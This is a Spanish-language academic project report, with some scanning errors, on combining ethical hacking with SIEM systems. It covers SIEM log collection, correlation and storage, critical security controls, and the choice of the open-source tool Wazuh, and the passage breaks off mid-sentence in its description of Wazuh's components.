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RESUMEN

En la era digital actual, la ciberseguridad se ha convertido en un componente
esencial para asegurar la continuidad de las operaciones comerciales, enfrentando la
creciente amenaza de ataques informéticos sofisticados en un entorno interconectado.
La expansion del Internet de las Cosas (IoT) ha contribuido al aumento exponencial de
dispositivos conectados, exponiendo servidores y dispositivos a crecientes amenazas
cibernéticas. En respuesta a esta realidad, los Sistemas de Gestién de Informacion y
Eventos de Seguridad (SIEM) se destacan como herramientas cruciales para la
deteccién en tiempo real de anomalias y la gestion eficiente de incidentes. Este articulo
se centra en la integracion de técnicas de hacking ético en la infraestructura de SIEM,
proponiendo una estrategia proactiva para mejorar la deteccién de vulnerabilidades en
entornos empresariales. Se abordan desafios actuales en ciberseguridad y se busca
establecer una base sélida para la implementacion exitosa de esta estrategia. La fusion
de métodos éticos de hacking con SIEM se configura como una tictica proactiva para
optimizar la deteccion anticipada de amenazas, respondiendo a la necesidad imperante
de fortalecer las medidas de ciberseguridad en un entorno empresarial expuesto a
amenazas cibernéticas avanzadas. En el siguiente andlisis, se explorardn detalladamente
las técnicas éticas de hacking, la funcionalidad de los SIEM vy la sinergia resultante de
su integracion en el dmbito empresarial, contribuyendo a una comprension integral y

aplicable en el panorama actual de ciberseguridad.

Palabras clave: SIEM, Open Source, Wazuh, Hacking Etico



ABSTRACT

In today's digital era, cybersecurity has become an essential component to
ensure the continuity of business operations, facing the growing threat of sophisticated
cyber-attacks in an interconnected environment. The expansion of the Internet of
Things (IoT) has contributed to the exponential increase in connected devices, exposing
servers and devices to growing cyber threats. In response to this reality, Security
Information and Event Management (SIEM) systems stand out as crucial tools for real-
time anomaly detection and efficient incident management. This article focuses on the
integration of ethical hacking techniques into SIEM infrastructure, proposing a
proactive strategy to enhance vulnerability detection in business environments. Current
cybersecurity challenges are addressed, aiming to establish a solid foundation for the
successful implementation of this strategy. The fusion of ethical hacking methods with
SIEM is configured as a proactive tactic to optimize early threat detection, addressing
the pressing need to strengthen cybersecurity measures in a business environment
exposed to advanced cyber threats. In the following analysis, ethical hacking
techniques, SIEM functionality, and the resulting synergy of their integration in the
business domain will be explored in detail, contributing to a comprehensive and

applicable understanding in the current cybersecurity landscape.

Keywords: SIEM, Open Source, Wazuh, Ethical Hacking
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CAPITULO I

INTRODUCCION Y ANTECEDENTES

Introduccion

En la actualidad digital, la ciberseguridad se erige como un pilar esencial para
garantizar la continuidad y salvaguardar las operaciones principales de una empresa.
Ante la creciente amenaza de ataques informdticos sofisticados en un entorno
interconectado y tecnolégicamente dependiente, la imperiosa necesidad de desarrollar
estrategias avanzadas que fortalezcan la seguridad de las infraestructuras tecnologicas
empresariales se hace evidente. El aumento exponencial de dispositivos conectados,
impulsado por la expansiéon del Internet de las Cosas (IoT), expone servidores,
dispositivos mdviles y cdmaras de videovigilancia a amenazas cibernéticas en constante
desarrollo, incrementando la probabilidad de incidentes de ciberseguridad, muchos de
los cuales pasan desapercibidos durante extensos periodos (Davyt, 2017).

En este contexto, el ambito de los sistemas de control industrial (ICT) se
enfrenta a un aumento exponencial de riesgos cibernéticos, resultado de la creciente
actividad de naciones y ciberdelincuentes. Esta sofisticacion y peligrosidad de los
ataques plantean un desafio considerable para lograr una deteccién oportuna. En
respuesta, los Sistemas de Gestion de Informacién y Eventos de Seguridad (SIEM) se
revelan como herramientas cruciales, ofreciendo funciones esenciales para la deteccién
y respuesta en tiempo real de anomalias, gestion eficiente de incidentes, ademds de la
visualizacidn inteligente de la red (Gonzdlez-Granadillo et al., 2021).

Este articulo explora la integraciéon de técnicas de hacking ético en la
infraestructura de SIEM como una estrategia proactiva para mejorar la deteccion de

vulnerabilidades en entornos empresariales. A lo largo de este andlsis se utilizardn



diferentes soluciones de seguridad disponibles en el mercado con el fin de hace frente
a los desafios actuales en ciberseguridad. En el 4mbito empresarial, la necesidad de
desarrollar estrategias de ciberseguridad destaca ante el constante aumento del riesgo
de vulnerabilidades y ataques cibernéticos. La fusién de métodos de hacking ético en
conjunto con la estructura SIEM se configura como una tdctica proactiva para optimizar
la deteccidn anticipada de amenazas debido a que establece una sinergia eficaz para la
deteccidn proactiva de vulnerabilidades, evaluando y reforzando la seguridad de la
infraestructura para garantizar la preparacion frente a posibles amenazas (Moran
Maldonando, 2021).

A través del examen detenido de casos practicos, se buscard establecer una base
sOlida que facilite la implementacion exitosa de esta estrategia, proporcionando a las
empresas herramientas efectivas para proteger sus activos digitales y asegurar la
integridad, confidencialidad y disponibilidad de la informacién empresarial. Este
enfoque especifico responde de manera directa a la imperante necesidad de fortalecer
las medidas de ciberseguridad en un entorno empresarial cada vez mas expuesto a
amenazas cibernéticas avanzadas. En el dmbito de las soluciones de Gestion de
Informacion y Eventos de Seguridad (SIEM), estas han sido disefiadas para asistir a los
administradores en la formulacién de politicas de seguridad y la gestion de eventos
provenientes de diversas fuentes.

La estructura basica de un SIEM, con bloques independientes como dispositivos
fuente, recopilacion de registros y motor de reglas, destaca la necesidad de integracion
para un funcionamiento adecuado. A pesar de las capacidades de respuesta de las
generaciones mas recientes de SIEM, que automatizan la seleccién e implementacion
de contramedidas, los sistemas de respuesta actuales a menudo aplican medidas de

seguridad sin un andlisis integral del impacto de los ataques y los escenarios de



respuesta (Miller et al., 2010). En el panorama cotidiano, el término "hacker" se ha
vuelto comun gracias a la difusién en medios de comunicacién y redes sociales.

Es crucial destacar la existencia del hacking ético, una préctica que se centra en
peritajes y servicios de seguridad informatica, esenciales en la sociedad contempordnea
(Vizueta Ronquillo, 2011). En el dmbito de la seguridad tecnolégica, el hacking ético
se enfoca en la prevencidn, eliminacién, estabilizaciébn y contraataque de
vulnerabilidades en el software y hardware, requiriendo conocimientos especializados
en redes, administracion de servidores y servicios asociados (Rodriguez Llerena, s. f.).
Contrario a las percepciones comunes, el hacking ético no tiene como objetivo ingresar
a sistemas informéticos para robar o modificar datos, sino identificar vulnerabilidades
y fallos.

También conocido como prueba de intrusion o pentest, este enfoque implica
verificar la existencia de vulnerabilidades de seguridad en una organizacién. Los
profesionales que llevan a cabo estas pruebas, conocidos como pentesters, exponen los
fallos encontrados en informes detallados, aborddndolos de inmediato para prevenir
fugas de informacion y ataques cibernéticos (Guevara Soriano, 2012). En resumen, la
inclusion de métodos de hacking ético en la infraestructura de Sistemas de Gestion de
Informacion y Eventos de Seguridad (SIEM) se configura como una estrategia esencial
para fortalecer la ciberseguridad en el entorno empresarial.

Con la constante evolucion de los riesgos cibernéticos hacia formas mads
sofisticadas, la fusion de las habilidades preventivas del hacking ético con la eficacia
de los SIEM proporciona una defensa resistente. Esta integraciéon permite no solo
identificar vulnerabilidades, sino también evaluar y reforzar la seguridad de la
infraestructura empresarial, garantizando una preparacion efectiva frente a posibles

amenazas. En el siguiente andlisis, se explorardn detalladamente las técnicas éticas de



hacking, la funcionalidad de los SIEM vy la sinergia resultante de su integracién en el
dmbito empresarial, contribuyendo asi a una comprensién integral y aplicable en el

actual panorama de ciberseguridad.

Antecedente

La adaptacion de la ciberseguridad en la sociedad contemporédnea es esencial
ante el creciente riesgo de ataques informdticos avanzados. Este término, junto con
otros como ciberdelincuencia, ciberterrorismo y ciberdefensa, han arraigado en el
entorno digital, subrayando la importancia de asegurar la disponibilidad, autenticidad,
integridad y confidencialidad de datos y servicios (Ballestero, 2020). En este contexto,
a pesar de reconocer la inexistencia de una seguridad total, la ciberseguridad busca
minimizar al maximo los riesgos asociados con la materializacién de amenazas.

La literatura que aborda las amenazas informaticas destaca la diversidad de
agentes capaces de desencadenar problemas de ciberseguridad. Desde agentes naturales
y perfiles bajos hasta cibercriminales, ciberterroristas, ciberactivistas, estados y
hackers, se presenta una amplia gama de posibles amenazas (Franch, 2016). Es crucial
diferenciar entre hackers tradicionales, con intenciones maliciosas, y hackers éticos,
cuya labor se centra en identificar y corregir vulnerabilidades para fortalecer la
seguridad. También se destaca la categoria de "insiders", individuos dentro de
organizaciones que pueden convertirse en factores internos de robo de datos o
intrusiones por diversas razones.

La evolucion de la seguridad informadtica ha experimentado diversas etapas a lo
largo del tiempo. En sus inicios, la respuesta a desafios tecnoldgicos llevé al desarrollo
de programas como el creaper y su antivirus reaper en 1972. La segunda etapa, en los
aflos noventa, vio surgir a los primeros hackers motivados por retos personales y

tecnoldgicos, explorando sistemas sin conocimiento de sus propietarios. La tercera



etapa, que persiste en la actualidad, se caracteriza por la ciberdelincuencia organizada
con el objetivo de lucrarse mediante el robo de datos, suplantacién de identidades y
otras actividades ilicitas (Ballestero, 2020). A partir de la década de 2000, los
delincuentes se enfocaron en el lucro, dando lugar a formas mads sofisticadas de
malware como gusanos, troyanos y ransomware. Este cambio ha llevado a una nueva
realidad donde la seguridad ya no se limita a un perimetro fisico, sino que se extiende
al d4mbito virtual, donde la sofisticacién de los ataques constituye una amenaza
constante a la informacién y operaciones comerciales.

En este contexto, los SIEM desempefan un papel fundamental al recopilar,
agregar, almacenar y correlacionar eventos generados por una infraestructura
gestionada. Constituyen la plataforma central de los centros de operaciones de
seguridad modernos. Ademads, las plataformas SIEM pueden proporcionar un analisis
en tiempo real de los eventos de seguridad generados por dispositivos de red y
aplicaciones, aunque presentan diferencias significativas entre las opciones disponibles
(Granadillo et al., 2016). A pesar de los avances en la ultima generacion de SIEMs, que
incorporan capacidades de respuesta para automatizar la elecciéon e implementacion de
contramedidas, los sistemas de respuesta actuales aun adolecen de una evaluacion
completa del impacto de los ataques y los posibles escenarios de respuesta.

En el escenario de la globalizacion, tanto organizaciones como estados y la
sociedad en su conjunto se ven amenazados por ciberataques, introduciendo
vulnerabilidades significativas desde una perspectiva econdmica, politica y social.
Estas vulnerabilidades no solo impactan en la toma de decisiones, sino que también
afectan la estabilidad administrativa y econémica, generando la necesidad de construir
confianza frente a los diversos grupos de interés. Por ende, resulta fundamental no

abordar los problemas de ciberseguridad de manera aislada, sino adoptar un enfoque



integral y sistémico. Este enfoque implica examinar los objetivos estratégicos del
negocio, la gestion de riesgos, la gobernanza y la psicologia organizacional para evaluar
con precision la situacién de exposicidon y establecer una linea base que sirva como
punto de partida para la implementacién de medidas preventivas y de control (Caamaiio
& Gil, s. f.).

La gobernanza de un sistema de seguridad requiere la evaluacion de tres factores
clave: "seguridad como condicidn, institucionalidad como medio y desarrollo como
objetivo". En este marco, la ciberseguridad es una condicion esencial, posibilitando que
la sociedad, las entidades publicas y privadas, aprovechen el ciberespacio mediante las
Tecnologias de la Informacion y Comunicacion (TIC), facilitando la comunicacion de
informacion entre participantes sociales. Surge como respuesta al aumento del uso del
ciberespacio como espacio para la interaccion social, producto de la constante
innovacion vinculada a la globalizacion econdmica, desempefiando un papel
fundamental como depdsito de datos donde la informacion, analizada técnicamente por
expertos, se comparte en multiples formatos disponibles en el ciberespacio (Sancho,
2017).

El concepto de "Experto Etico en Hacking" se refiere a profesionales en
seguridad de la informacién que aplican habilidades de hacking con un enfoque
defensivo, evaluando posibles intrusiones para proteger sistemas e informacion. En el
ambito empresarial, las evaluaciones de seguridad, como el Anadlisis de
Vulnerabilidades (VA) segiin normativas como PCI-DSS, son cada vez mas comunes
para cumplir requisitos legales y abordar riesgos emergentes. Aunque proporcionan una
instantdnea de la postura de seguridad, su efectividad depende de la integracion
continua y aplicacién de recomendaciones. Ademds, se destaca la importancia de

pruebas adicionales, como el Penetration Test, que va mds alld de identificar



vulnerabilidades al evaluar su impacto real en la organizacién, enfatizando la necesidad
de considerar el contexto especifico y verificar técnicamente las medidas de seguridad
implementadas (Jara & Pacheco, 2013).

La colaboracién estratégica entre el Hacking Etico y los Sistemas de Gestién de
Informacién y Eventos de Seguridad (SIEM) emerge como un enfoque vital para
fortalecer la ciberseguridad en el contexto empresarial. Integrar précticas éticas de
hacking en la infraestructura de SIEM no solo facilita la identificacién proactiva de
vulnerabilidades, sino que también consolida la seguridad de las redes empresariales.
Esta colaboracion va mas alld de responder a incidentes y se orienta hacia la
anticipacion de amenazas potenciales, proporcionando una defensa robusta y adaptable
en un entorno empresarial que enfrenta riesgos cibernéticos avanzados, impactando
significativamente en la preparacion empresarial. La integracion de técnicas éticas de
hacking en la infraestructura de SIEM no solo simplifica la deteccién proactiva de
vulnerabilidades, sino que también fortalece la seguridad global de las redes
empresariales, superando la respuesta a incidentes al anticiparse a posibles amenazas.
Esta sinergia eficiente combina las capacidades de deteccion en tiempo real de SIEM
con evaluaciones éticas de hacking, ofreciendo a las empresas una preparacion sélida
frente a amenazas cibernéticas y contribuyendo a preservar la integridad vy
confidencialidad de la informacion empresarial en un entorno de ciberseguridad

dinamico.

Justificacion del proyecto

La justificacion de este proyecto se basa en una revision de la literatura existente
en el campo de la ciberseguridad y en una definicién del problema que plantea la
realidad actual frente a las amenazas digitales. El proyecto propuesto se presenta como

una respuesta a las deficiencias identificadas en nuestro entorno, aportando de manera



significativa a la seguridad informdtica. A continuacién, se detallan las razones
principales y secundarias que respaldan la importancia de este proyecto y las ventajas

que surgirdn de su implementacidn.

Razones Principales:

e Adaptacion a la Evoluciéon de Amenazas: El proyecto propuesto atiende
esta razén fundamental al incorporar ticticas de hacking ético,
posibilitando una adaptacion rdpida y proactiva a las transformaciones en
el panorama de amenazas.

e Deteccion Proactiva y Evaluacion Continua: La inclusién de tacticas de
hacking ético en la infraestructura de SIEM mejorard la capacidad de
detectar proactivamente y facilitard la evaluacion constante de la seguridad
digital, disminuyendo de este modo el periodo de vulnerabilidad ante
posibles amenazas.

¢ Optimizacion de la Infraestructura de SIEM: El proyecto aborda este
aspecto principal al proponer la optimizaciéon de SIEM a través de la
incorporacion de précticas éticas de hacking, lo que eleva la efectividad y

eficiencia en la gestion de la seguridad de la informacion.

Razones Secundarias:

e Mejora Continua de la Seguridad: La implementacién exitosa del
proyecto posibilitard un avance constante en la seguridad de la
infraestructura digital, asegurando una adaptacion continua a las amenazas
emergentes.

e Reduccion del Riesgo de Violaciones de Seguridad: La inclusion de

técnicas de hacking ético contribuird a la detecciéon temprana de



vulnerabilidades, disminuyendo el riesgo de violaciones de seguridad y los
consecuentes impactos negativos.

e Cumplimiento con Estiandares y Regulaciones: El apoyo de la
infraestructura de SIEM vy la aplicacion de pricticas éticas asegurardn el
cumplimiento normativo, evitando posibles sanciones legales.

e Proteccion de la Reputacion Empresarial: La ejecucion exitosa del
proyecto resguardard la reputacion de la empresa al prevenir incidentes de
seguridad que podrian afectar la confianza del cliente y la percepcion
publica.

e La ejecucion del proyecto se presenta como una inversion estratégica que
no solo responde a las deficiencias actuales en ciberseguridad, sino que

también proporciona ventajas tangibles y sostenibles para la organizacion.

Alcance del provecto

El alcance del proyecto considerard la implementacion de técnicas de hacking
ético en la infraestructura de SIEM. Se planifica también la optimizacion de la
infraestructura de SIEM, incorporando ajustes y mejoras alineadas a las mejores
practicas investigadas para reforzar la deteccidon proactiva de vulnerabilidades. Por
ultimo, se instaurard un aplicativo de monitorizacién piloto para revisar la efectividad
de las estrategias implementadas, siguiendo las mejores précticas de ciberseguridad.

No se contemplan medidas de seguridad fisica, como sistemas de vigilancia o
control de acceso, como tampoco la creacion de nuevos médulos para la infraestructura

de SIEM.
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Objetivos

En La finalidad principal del proyecto propuesto se establece claramente a

través de objetivos SMART que guiarédn la ejecucion y evaluacion del proyecto:

1.

Mejorar la resiliencia de la infraestructura digital mediante la incorporacién de
técnicas de hacking ético en la Infraestructura de Seguridad de la Informacién
(SIEM).

Fortalecer la capacidad de deteccién proactiva de vulnerabilidades,
posibilitando la identificacion temprana de posibles brechas de seguridad.
Implementar medidas de respuesta a incidentes buscando minimizar el impacto
de posibles ataques cibernéticos.

Evaluar continuamente la eficacia de las estrategias implementadas,

ajustdndolas segtn la evolucién del panorama de amenazas.

Consideraciones éticas, sociales, legales, profesionales y de seguridad

En el transcurso del desarrollo del proyecto no se utilizard datos de caracter
personal.

No se cuenta con consentimiento de terceros para la ejecucion del proyecto, ya
que el mismo esta alineado a un ambiente de laboratorio y pruebas controladas
en infraestructura personal y virtualizada por los integrantes del grupo de
trabajo. Motivo por el cual el consentimiento es personal por cada integrante
del grupo.

El proyecto serd desarrollado en laboratorios de pruebas sin relacionar ninguna
red organizacional.

Si se tiene en consideracion el cumplimiento de normales y leyes locales,

nacionales e internacionales.
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Si es ético el desarrollo del proyecto, porque estamos alineados a las
caracteristicas que tiene los procesos de Hacking Eticos, asi como la

consideracion de normativas y leyes.
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CAPITULO II

MARCO TEORICO

Aspectos importantes de las tecnologias SIEM

En su nivel bésico, los Sistemas de Informacién y Eventos de Seguridad
(SIEM) se encargan de la recoleccidn, organizacion y andlisis de informacion para
detectar riesgos y cumplir con las regulaciones establecidas. Estos sistemas tienen la
capacidad de gestionar registros de eventos provenientes de diversas fuentes de
informacién como son antimalware, firewalls, IPS, IDS etc. Tanto en entornos locales
como en la nube, lo que permite realizar un andlisis inmediato de datos relacionados
con usuarios, aplicaciones y redes. Las ventajas de los SIEM son notables:

e Deteccion de amenazas en tiempo real: Simplifica la gestion de
cumplimiento normativo y automatiza la recoleccion y evaluacién de datos
para cumplir con los estdndares regulatorios de manera eficiente.

e Optimizacion de la eficacia organizativa: Mejora la visibilidad de los
entornos informadticos, facilitando la colaboracién interdepartamental y
acelerando la respuesta ante incidentes de seguridad.

Ademais de ello, estas soluciones destacan por su capacidad para detectar una
amplia variedad de amenazas, desde ataques internos hasta diversos tipos de malware
como el ransomware, el phishing y los ataques de denegacién de servicio distribuido
(DDoS). También posibilitan llevar a cabo investigaciones digitales exhaustivas y
simplifican la evaluacioén y elaboracién de informes de cumplimiento normativo.
Igualmente, ofrecen una supervision continua de usuarios, dispositivos y aplicaciones,
lo cual es crucial en un entorno laboral cada vez més descentralizado y digitalizado

(IBM, 2022).
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Componentes clave de un Sistema de Informacion v Eventos de Seguridad

(SIEM)

Recopilacion centralizada de logs:

La obtencion de registros es fundamental en un Sistema de Informacion y
Eventos de Seguridad (SIEM) debido a que brinda informacién clave de diversas
fuentes, como servidores, routers, switches, agentes, firewalls y dispositivos IoT.
Puede ser pasiva, donde la fuente envia los logs al SIEM, o activa, donde el SIEM
recoge los logs directamente de la fuente (Javier Areitio Bertolin, 2019). Las acciones
sobre los logs incluyen:

e Parseo basado en expresiones regulares: Consiste en separar en campos
los diferentes elementos que integran un log (por ejemplo, de un IDS, un
firewall, etc.).

e Normalizaciéon: Asigna cada uno de los campos identificados y separados
en el log mediante parseo, los campos definidos en la herramienta SIEM.
La normalizacion es diferente segtin la tecnologia utilizada.

e Categorizacion: Ordena, clasifica, establece categorias y prioriza los
eventos entrantes.

e Agregacion: Agrupa los eventos que aparecen en un periodo de tiempo
definido y que tienen una serie de campos iguales.

e Filtrado: Permite optimizar el volumen de logs que llegan al sistema SIEM

en base a condiciones configurables por el usuario.

Correlacion en tiempo real de eventos/logs:

Relacionar eventos generados en dispositivos durante un intervalo de tiempo es

crucial para detectar comportamientos andmalos. Esto se logra mediante la correlacién
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de eventos/logs, donde se aplican reglas a los eventos/logs. Las funciones principales
de esta capa incluyen recibir y almacenar temporalmente eventos en una base de datos,
generar eventos correlacionados, notificar incidentes y analizar mediante biisquedas.
La capa de correlacion puede ser fisica o virtual segin los requisitos de rendimiento

(Javier Areitio Bertolin, 2019).

Almacenamiento:

Almacenar logs en un SIEM implica comprimir y proteger eventos mediante su
firma con una funcién hash al escribirlos en disco, lo que garantiza su integridad. Esta
funcién puede ser en el SIEM o en plataformas externas, y puede ser en linea (accesible
sin procesos de recuperacion) u offline (accesible mediante procesos de carga y
recuperacion). El rotado consiste en mover logs antiguos para hacer espacio para
nuevos eventos. La capacidad de andlisis permite consultar logs almacenados, ya sea
normalizados o en su formato original. El almacenamiento puede ser local en
dispositivos fisicos o remoto utilizando SAN o NAS, y el licenciamiento puede basarse
en la cantidad de datos recibidos por dia o en la tasa de eventos por segundo (EPS)

(Javier Areitio Bertolin, 2019).

Logs

Los registros de actividad, generados por sistemas informéticos, dispositivos y
software en respuesta a eventos, son la base de datos de los sistemas. Estos registros
son empleados para extraer, analizar y clasificar informacion util, siendo fundamentales
para la gestion de la seguridad y el cumplimiento de politicas. Aunque puede resultar
abrumador obtener informacién de los registros debido al gran volumen de datos, es
vital establecer una estrategia para su gestion. Diferentes tipos y formatos de registros

se emplean para familiarizarse con los mensajes y obtener una vision general, lo que
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facilita la identificacion y el tratamiento eficiente de nuevos datos de registro (Chuvakin
et al., 2012).

Los eventos registrados varian segin el origen del mensaje, como los sistemas
Unix que registran mensajes de inicio y cierre de sesion, los firewalls que registran
mensajes de aceptacion y denegacion de ACL, o los sistemas de almacenamiento que
registran fallos. Los registros contienen informacién que indica la causa del evento,
como el nombre de usuario en un acceso a un recurso web. Estos mensajes se dividen
en categorias como informativos, de depuracion, de advertencia, de error y de alerta.
Los mensajes informativos sefialan eventos benignos, los de depuracion son utilizados
para resolver problemas, los de advertencia indican situaciones no criticas pero
faltantes, los de error sefialan fallas en el sistema y las alertas requieren atencion

inmediata, especialmente en temas de seguridad (Chuvakin et al., 2012).

Transferencias de mensajes Logs:

Inicialmente, La transmision y recopilacion de datos de registro se lleva a cabo
a través de un subsistema de registro que emite mensajes cuando se determina
necesario. Estos mensajes, generados por dispositivos conectados a la red, pueden
almacenarse localmente o enviarse a un loghost, que es un sistema donde se recopilan
en una base de datos de registros. El protocolo Syslog es el estdndar mds utilizado para
el intercambio de mensajes de registro, aunque también hay otros mecanismos como el
Registro de Eventos de Windows o SNMP. El protocolo SNMP se basa en conceptos
de traps (avisos) y polls (sondeos), donde un trap es un mensaje que un dispositivo
emite cada vez que ocurre un evento, y un poll es una consulta a un dispositivo para
obtener informacion predefinida. Las bases de datos también se utilizan para almacenar
mensajes de registro, ya sea directamente o a través del servidor Syslog. Ademas,

existen formatos de registro propietarios implementados por diversos fabricantes, que
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suelen ofrecer APIs para la comunicacién con otras herramientas (Joaquim Tomds
Almada Abreu, 2020).

Mensajes Logs:

Un mensaje de registro se compone de tres elementos principales: una marca de
tiempo, la fuente del mensaje y la informacién transmitida. La marca de tiempo sefiala
el momento en que se generd el mensaje, la fuente es el sistema que lo origind, y la
informacion puede incluir datos como direcciones IP, nombres de usuario y puertos,
entre otros. El formato especifico del mensaje varia segtin el sistema de origen, aunque
el formato Syslog es el mds comun. Los profesionales que utilizan este conocimiento
de manera ética son conocidos como hackers éticos o hackers de sombrero blanco
(Alexandra, 2023).

Figura 1

Representacion mensajes de logs

|

User ‘enable_15' Executed the

Nav.03.2003 21:27:27 ‘Configure Term’ Command.

%PIX-5-111008:

pix-f:

Timestamp
Default- No Timestamp
Default Timestamp - =

Nov 032003 21:27:27 | |%PIX] - [5] - [111008: |
EMBLEM Timestamp - Facility Severity Message

:Nov 03 21:27:27 EST: | Code Level Number
(%PIX) (1-7) (6 digits)

Message Text

Device-id:

* None (default)

* Hostname (e.g., pix-f)

« Context (e.g., admin)

* |P Address (e.g., 192.168.200.5)
* Text String (e.g., MyFavoritePIX)

Nota: Estructura de los mensajes de logs
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Los controles se automatizardn utilizando la informacion recopilada en el SIEM.

Los siguientes controles criticos proporcionan una vision general de las funcionalidades

del sistema (Randy Marchany, 2013).

Tabla 1

Control Critico

Relacion con herramientas SIEM

Inventario de
dispositivos autorizados
y bloqueados

Inventario de software
autorizado y bloqueado

Evaluacion de
vulnerabilidades de
forma continua y
parcheado

Uso controlado de

permisos administrativos

Configuraciones seguras
para hardware y software

Mantenimiento,
monitorizacion y andlisis
de logs de auditoria

Proteccién  del

electronico y
navegadores

correo
los

Defensas de malware

Limitacién y control de

puertos, protocolos 'y
servicios de red
Capacidad de

recuperacion de datos

El SIEM puede utilizarse como la base de datos de
inventario de activos autorizados para detectar amenazas.

El SIEM puede utilizarse como la base de datos de
inventario de software para correlacionar con la actividad
de red.

El SIEM puede relacionar vulnerabilidades con la
actividad del sistema para determinar si estin siendo
explotadas.

El SIEM puede relacionar eventos para detectar
violaciones de permisos administrativos y generar
alertas.

Las malas configuraciones pueden ser detectadas y
reportadas al SIEM para resolver incidentes de
seguridad.

El SIEM es esencial para recoger y analizar logs criticos
en tiempo real.

Los eventos de vulnerabilidades en correos electronicos
y navegadores pueden ser registrados y analizados por el
SIEM.

Las defensas contra malware deben integrarse con el
SIEM para una proteccion efectiva.

El SIEM puede informar sobre la presencia de puertos,
protocolos o servicios no autorizados.

El SIEM puede contribuir al respaldo y recuperacion de
datos criticos.
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Errores de configuracion pueden ser detectados y
reportados al SIEM para un anélisis consolidado.

Las violaciones de red pueden ser reportadas al SIEM
para correlacionarlas con el inventario autorizado.

Las violaciones de pérdida de datos pueden ser
reportadas al SIEM para su andlisis y correlacion.

El SIEM puede detectar violaciones de acceso y
comprobar los privilegios de los usuarios.

Las configuraciones incorrectas e intrusiones
inaldmbricas pueden ser detectadas y reportadas al
SIEM.

El SIEM puede comparar la actividad de las cuentas con
una linea base conocida para detectar anomalias.

El SIEM puede contribuir a la deteccion y andlisis de
comportamientos andmalos mediante la formacion.

Vulnerabilidades en aplicaciones pueden ser detectadas
y reportadas al SIEM para su andlisis.

El SIEM puede ayudar en la deteccién temprana y
respuesta efectiva a incidentes de seguridad.

El SIEM puede utilizarse para evaluar la eficacia de las
defensas mediante la simulacién de ataques.

Controles Criticos
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Herramientas Comerciales

Se pueden encontrar diversas herramientas para realizar andlisis de seguridad
de TI. A modo de ejemplo, mencionaremos algunas de las mas destacadas, basandonos
en el Cuadrante Magico de Gartner del 2023.

Figura 2
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Nota: SIEMs Gartner

Es esencial tener en cuenta que la mayoria de estas soluciones son de pago,
aunque algunas ofrecen versiones gratuitas, aunque estas ultimas suelen tener
limitaciones en cuanto a caracteristicas. Por ejemplo, AlienVault ofrece su version
OSSIM de forma gratuita. Otras herramientas gratuitas son SIEMonster, Apache

Metron, AlienVault OSSIM, OSSEC y Wazuh.
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Wazuh como herramienta SIEM

Después de revisar varias soluciones disponibles en el mercado y considerando
la necesidad de no incurrir en costos econdmicos en esta primera etapa, se opté por
descartar todas las soluciones de pago. Ademds, se requeria un sistema que pudiera
correlacionar informacion de diferentes fuentes, incluidos firewalls, NGFW, IDSs, IPS
y sondas, y que también pudiera obtener datos directamente de los activos que
necesitaban proteccion. Por lo tanto, entre todas las opciones, se eligié implementar el
sistema de seguridad utilizando Wazuh como herramienta central de recoleccion de
logs. Esta plataforma de c6digo abierto combina las funcionalidades de XDR (deteccién
y respuesta extendidas) y SIEM (gestiéon de informacion y eventos de seguridad).
Integrado con Elastic Stack, Wazuh se utiliza para prevenir, detectar y responder a
amenazas, ofreciendo protecciéon para cargas de trabajo en entornos locales,
virtualizados, en contenedores y en la nube (Wazuh, 2024).

La infraestructura de Wazuh incluye agentes de seguridad desplegados en los
sistemas supervisados, asi como un servidor central que recopila y analiza los datos
generados por estos agentes. Este enfoque permite una monitorizacion integral y una

respuesta eficiente ante posibles incidentes de seguridad (Wazuh, 2024).

Servicios:

Entre los servicios proporcionados por Wazuh se encuentran:

e Deteccion de intrusos: Los agentes de Wazuh supervisan los sistemas en busca
de malware, rootkits y actividades sospechosas, identificando archivos ocultos,
procesos no autorizados y respuestas del sistema anémalas. Utiliza un enfoque
basado en firmas para la deteccién, aprovechando un motor de expresiones

regulares para analizar los logs recopilados.
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Analisis de logs: Los agentes de Wazuh leen los logs del sistema operativo y
de las aplicaciones, envidndolos de manera segura al servidor central para su
andlisis y almacenamiento. Las reglas de Wazuh ayudan a mantener la
coherencia y detectar errores de aplicacion, configuraciones deficientes y
actividades maliciosas.

Monitorizacion de la integridad de archivos: Wazuh supervisa el sistema de
archivos, identificando cambios en el contenido, permisos, propiedad y otros
atributos que requieren atencion.

Deteccion de vulnerabilidades: Los agentes envian informacién al servidor,
que se correlaciona con la base de datos de CVE para identificar
vulnerabilidades conocidas en el software.

Evaluacion de configuraciones: Wazuh monitorea los ajustes de configuracién
del sistema y las aplicaciones para garantizar el cumplimiento de las politicas
de seguridad, realizando escaneos periddicos en busca de aplicaciones
vulnerables o configuraciones inseguras.

Respuesta ante incidentes: Ofrece respuestas activas para contramedidas,
como bloquear el acceso al sistema para fuentes de amenazas identificadas,
ejecutar comandos remotamente y ayudar en tareas forenses.

Cumplimiento normativo: Proporciona controles de seguridad para cumplir
con estdndares y regulaciones de la industria, con caracteristicas de
escalabilidad y soporte multiplataforma.

Seguridad en la nube: Monitoriza infraestructuras en la nube a nivel de API,
integrandose con proveedores de servicios en la nube como Amazon AWS,

Azure o Google Cloud.
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Seguridad en contenedores: Ofrece seguridad en los hosts y contenedores
Docker, monitoreando su comportamiento y detectando amenazas y anomalias,

con integracion nativa con el motor de Docker.

Componentes:

Wazuh consta de varios componentes que trabajan juntos para proporcionar una

solucién integral de seguridad (Wazuh, 2024):

OSSEC HIDS (Host-based Intrusion Detection System): Este componente
es un sistema de deteccidon de intrusos basado en host que se utiliza para la
deteccién, visibilidad y monitorizacién del cumplimiento de eventos de
seguridad en los sistemas. Estd basado en un agente multiplataforma que
recopila datos del sistema y los envia a un gestor central, donde son analizados
y procesados para generar alertas de seguridad. Ademds, funciona como un
servidor centralizado de logs para la gestiéon y almacenamiento de logs de
eventos.

OpenSCAP: OpenSCAP es un intérprete utilizado para verificar las
configuraciones del sistema y detectar aplicaciones vulnerables. Estd disefiado
especificamente para el cumplimiento de la seguridad y el endurecimiento de
los sistemas en entornos empresariales. OpenSCAP ayuda a garantizar que los
sistemas estén configurados de acuerdo con las politicas de seguridad y ayuda
a identificar y remediar posibles vulnerabilidades en el software instalado.
Elastic Stack: Este conjunto de software incluye Elasticsearch, Kibana y
Filebeat. Se utiliza para la recoleccién, comparacién, almacenamiento,
indexacidn, bisqueda y visualizacion de datos de logs. Elasticsearch es una base
de datos de busqueda distribuida y escalable que almacena y indexa los datos

de logs de manera eficiente. Kibana es una interfaz web que proporciona un
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panel de control para visualizar y analizar los datos de logs de forma grafica y

